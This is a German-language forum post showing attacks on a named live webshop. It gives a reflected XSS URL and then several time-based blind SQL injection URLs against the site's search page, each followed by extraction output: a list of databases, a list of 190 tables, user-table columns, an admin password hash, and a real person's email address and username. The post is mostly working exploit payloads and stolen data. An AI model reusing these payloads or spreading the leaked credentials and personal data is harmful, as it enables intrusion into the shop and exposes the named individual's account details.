webshop

[SecurityFlaw]

http://www.randshop.com/themes/user/...)%3C/script%3E

2 min gesucht. Ist zwar erstmal nur ne Reflected XSS, aber ich wette drauf dass man dort auch noch die ein oder andere SQLi oder FPD findet.

EDIT:// Gemeldet ist die Lücke bereits

MFG Boehmer

Da wäre die SQLI auf "randshop.com":

http://www.randshop.com/themes/suche/index.php?formaction=suchausgabe&dataoffset=3&sucheartikelnummer=3&sucheartikelname=Smith&sucheartikelbeschreibung=3&suchesuchoption=3&suchehersteller=5234534558&suchekategorie=3&suchesortierungnach=1 AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 19,1),20,1))>1,0,5)))))CNVE)&suchesortierreihenfolge=asc
available databases [20]:
`db1109888-01`
`db1109888-02`
`db1109888-03`
`db1109888-04`
`db1109888-05`
`db1109888-bioladen`
`db1109888-budspencerde`
`db1109888-budspencershop`
`db1109888-cooneycat`
`db1109888-dierandgruppe`
`db1109888-filemaker`
`db1109888-ilando`
`db1109888-indishirt`
`db1109888-louiswelt`
`db1109888-puffinshop`
`db1109888-randserverscripts`
`db1109888-randshop`
`db1109888-randshopwiki`
`db1109888-streberpm`
information_schema

http://www.randshop.com/themes/suche/index.php?formaction=suchausgabe&dataoffset=3&sucheartikelnummer=3&sucheartikelname=Smith&sucheartikelbeschreibung=3&suchesuchoption=3&suchehersteller=5234534558&suchekategorie=3&suchesortierungnach=1 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x6462313130393838382d72616e6473686f70 LIMIT 189,1),13,1))>1,0,1)))))fLrb)&suchesortierreihenfolge=asc
Database: db1109888-randshop
[190 tables]
+------------------------------------------------+
| randshop_agbhosting                            |
| randshop_aktion                                |
| randshop_aktion_langu                          |
| randshop_allgemein                             |
| randshop_archiv_bestellungen                   |
| randshop_archiv_warenkorb                      |
| randshop_artikel                               |
| randshop_artikel_abhaengig                     |
| randshop_artikel_bilder                        |
| randshop_artikel_download                      |
| randshop_artikel_gruppen                       |
| randshop_artikel_langu                         |
| randshop_artikel_lieferanten                   |
| randshop_ausgaben                              |
| randshop_autocrsselling                        |
| randshop_banner                                |
| randshop_banner_langu                          |
| randshop_bestellen                             |
| randshop_bestellen_log                         |
| randshop_bestellen_status                      |
| randshop_bestellen_status_aktionen             |
| randshop_bestellen_status_folgestatus          |
| randshop_bestellen_status_langu                |
| randshop_bestellstatus_aktionen                |
| randshop_bewertung                             |
| randshop_boxen                                 |
| randshop_boxen_langu                           |
| randshop_bundesstaaten                         |
| randshop_bundesstaatenlisten                   |
| randshop_cms_artikel                           |
| randshop_cms_artikel_abhaengig                 |
| randshop_cms_artikel_bilder                    |
| randshop_cms_artikel_langu                     |
| randshop_cms_datenblatt                        |
| randshop_cms_datenblatt_langu                  |
| randshop_cms_kategorie                         |
| randshop_cms_kategorie_langu                   |
| randshop_cms_kategorierelation                 |
| randshop_copyrights                            |
| randshop_count_hi                              |
| randshop_count_ip                              |
| randshop_count_uo                              |
| randshop_cronjob                               |
| randshop_dataexchange_fields                   |
| randshop_dataexchange_fields_mapping           |
| randshop_dataexchange_fields_selection         |
| randshop_dataexchange_filters                  |
| randshop_dataexchange_filters_fields           |
| randshop_dataexchange_filters_fields_default   |
| randshop_dataexchange_filters_specialfunctions |
| randshop_dataexchange_history                  |
| randshop_dataexchange_history_fields           |
| randshop_dataexchange_history_identifier       |
| randshop_dataexchange_history_rows             |
| randshop_dataexchange_history_status           |
| randshop_dataexchange_history_tables           |
| randshop_dataexchange_specialfunctions         |
| randshop_dataexchange_status                   |
| randshop_dataexchange_tables                   |
| randshop_dataexchange_tables_fields            |
| randshop_datenblatt                            |
| randshop_datenblatt_langu                      |
| randshop_db_version                            |
| randshop_dl_count                              |
| randshop_ebay_artikel                          |
| randshop_ebay_artikel_versand                  |
| randshop_ebay_artikel_zahlung                  |
| randshop_ebay_attributes_cs                    |
| randshop_ebay_calls                            |
| randshop_ebay_categories                       |
| randshop_ebay_category_cs_mapping              |
| randshop_ebay_globals                          |
| randshop_ebay_settings                         |
| randshop_ebay_shipping                         |
| randshop_ebay_store_categories                 |
| randshop_ebay_transactions                     |
| randshop_ebay_vorlagen                         |
| randshop_ebay_vorlagen_bilder                  |
| randshop_ebay_vorlagen_versand                 |
| randshop_ebay_vorlagen_zahlung                 |
| randshop_ebay_zahlungsarten                    |
| randshop_ebay_zahlungsarten_link               |
| randshop_einstellungen                         |
| randshop_erloese                               |
| randshop_facettensuche_artikel_auspraegung     |
| randshop_facettensuche_auspraegung_langu       |
| randshop_facettensuche_auspraegungen           |
| randshop_facettensuche_filter                  |
| randshop_facettensuche_filter_langu            |
| randshop_feature                               |
| randshop_gaestebuch                            |
| randshop_gutscheinaktionen                     |
| randshop_gutscheinaktionen_langu               |
| randshop_gutscheinaktionen_relation            |
| randshop_gutscheine                            |
| randshop_hersteller                            |
| randshop_hersteller_langu                      |
| randshop_highlights                            |
| randshop_highlights_langu                      |
| randshop_kategorie                             |
| randshop_kategorie_langu                       |
| randshop_kategorierelation                     |
| randshop_konto                                 |
| randshop_kunden                                |
| randshop_kunden_download                       |
| randshop_kundenanrede                          |
| randshop_kundenanrede_langu                    |
| randshop_kundengruppen                         |
| randshop_kundengruppen_langu                   |
| randshop_kundengruppen_override                |
| randshop_kundengruppenpreise                   |
| randshop_kundengruppenversandarten             |
| randshop_kundenmailtyp                         |
| randshop_kundenzahlungsmoral                   |
| randshop_laendergruppe                         |
| randshop_laendergrupperelation                 |
| randshop_lagerbuch                             |
| randshop_land                                  |
| randshop_land_langu                            |
| randshop_languages                             |
| randshop_layout                                |
| randshop_lieferanten_artikel_statistik         |
| randshop_lieferstatus                          |
| randshop_lieferstatus_langu                    |
| randshop_mail_log                              |
| randshop_merkmalauswahl                        |
| randshop_mwst                                  |
| randshop_news                                  |
| randshop_news_langu                            |
| randshop_newsletter                            |
| randshop_newsletter_archive                    |
| randshop_newsletter_archive_beitrag            |
| randshop_newsletter_archive_beitrag_langu      |
| randshop_newsletter_archive_langu              |
| randshop_newsletter_verschickt                 |
| randshop_paketnummer                           |
| randshop_partner                               |
| randshop_partner_provisionen                   |
| randshop_partner_provisionen_artikel           |
| randshop_partnerprogramm_einstellungen         |
| randshop_pay                                   |
| randshop_preisstaffeln                         |
| randshop_produktgruppen                        |
| randshop_rabatte                               |
| randshop_rabattstaffeln                        |
| randshop_rabattstaffeln_langu                  |
| randshop_schema                                |
| randshop_schema_langu                          |
| randshop_seourls                               |
| randshop_seourls_elements                      |
| randshop_slider                                |
| randshop_statistik_artikelview                 |
| randshop_statistik_kategorieview               |
| randshop_statistik_refererdomains              |
| randshop_statistik_suchanfragen                |
| randshop_symbollib                             |
| randshop_templates                             |
| randshop_topnavi                               |
| randshop_topnavi_langu                         |
| randshop_user                                  |
| randshop_versandart                            |
| randshop_versandart_ebay                       |
| randshop_versandart_langu                      |
| randshop_versandartgewicht                     |
| randshop_waehrung                              |
| randshop_warenkorb                             |
| randshop_wunschzettel                          |
| randshop_zahlungen                             |
| randshop_zahlungsart                           |
| randshop_zahlungsart_langu                     |
| randshop_zahlungsart_versandart                |
| randshop_zahlungsimport_zahlungsarten          |
| randshop_zahlungsschnittstellen                |
| randshop_zahlungsschnittstellen_bestellparams  |
| randshop_zahlungsschnittstellen_config         |
| randsite_article                               |
| randsite_article_language                      |
| randsite_category                              |
| randsite_category_language                     |
| randsite_category_linking                      |
| randsite_dl_count                              |
| randsite_language                              |
| randsite_module                                |
| randsite_modulname                             |
| randsite_news                                  |
| randsite_news_language                         |
| randsite_passwort                              |
| randsite_siteinfo                              |
| randsite_siteinfo_language                     |
| randsite_user                                  |
+------------------------------------------------+

http://www.randshop.com/themes/suche/index.php?formaction=suchausgabe&dataoffset=3&sucheartikelnummer=3&sucheartikelname=Smith&sucheartikelbeschreibung=3&suchesuchoption=3&suchehersteller=5234534558&suchekategorie=3&suchesortierungnach=1 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(column_type AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x72616e64736974655f75736572 AND column_name=0x737461747573 AND table_schema=0x6462313130393838382d72616e6473686f70),10,1))>1,0,1)))))UZDN)&suchesortierreihenfolge=asc
Database: db1109888-randshop
Table: randshop_user
[3 columns]
+--------+------------------+
| Column | Type             |
+--------+------------------+
| id     | int(11) unsigned |
| name   | varchar(20)      |
| pw     | varchar(50)      |
+--------+------------------+
Database: db1109888-randshop
Table: randsite_user
[4 columns]
+----------+------------------+
| Column   | Type             |
+----------+------------------+
| email    | varchar(150)     |
| status   | tinyint(1)       |
| userid   | int(11) unsigned |
| username | varchar(30)      |
+----------+------------------+

http://www.randshop.com/themes/suche/index.php?formaction=suchausgabe&dataoffset=3&sucheartikelnummer=3&sucheartikelname=Smith&sucheartikelbeschreibung=3&suchesuchoption=3&suchehersteller=5234534558&suchekategorie=3&suchesortierungnach=1 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(pw AS CHAR),0x20) FROM `db1109888-randshop`.randshop_user ORDER BY id LIMIT 0,1),37,1))>1,0,1)))))ELgU)&suchesortierreihenfolge=asc
Database: db1109888-randshop
Table: randshop_user
[1 entry]
+----+---------------------------------------+-------+
| id | pw                                    | name  |
+----+---------------------------------------+-------+
| 1  | $apr1$opgtvb60$NF2wzfgAbEWQ674m3eBmY/ | admin |
+----+---------------------------------------+-------+

http://www.randshop.com/themes/suche/index.php?formaction=suchausgabe&dataoffset=3&sucheartikelnummer=3&sucheartikelname=Smith&sucheartikelbeschreibung=3&suchesuchoption=3&suchehersteller=5234534558&suchekategorie=3&suchesortierungnach=1 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM `db1109888-randshop`.randsite_user ORDER BY email LIMIT 0,1),5,1))>1,0,1)))))MNpB)&suchesortierreihenfolge=asc
Database: db1109888-randshop
Table: randsite_user
[1 entry]
+--------+---------------------------------+--------+----------+
| userid | email                           | status | username |
+--------+---------------------------------+--------+----------+
| 1      | michael.maass@dierandgruppe.com | 1      | mike     |
+--------+---------------------------------+--------+----------+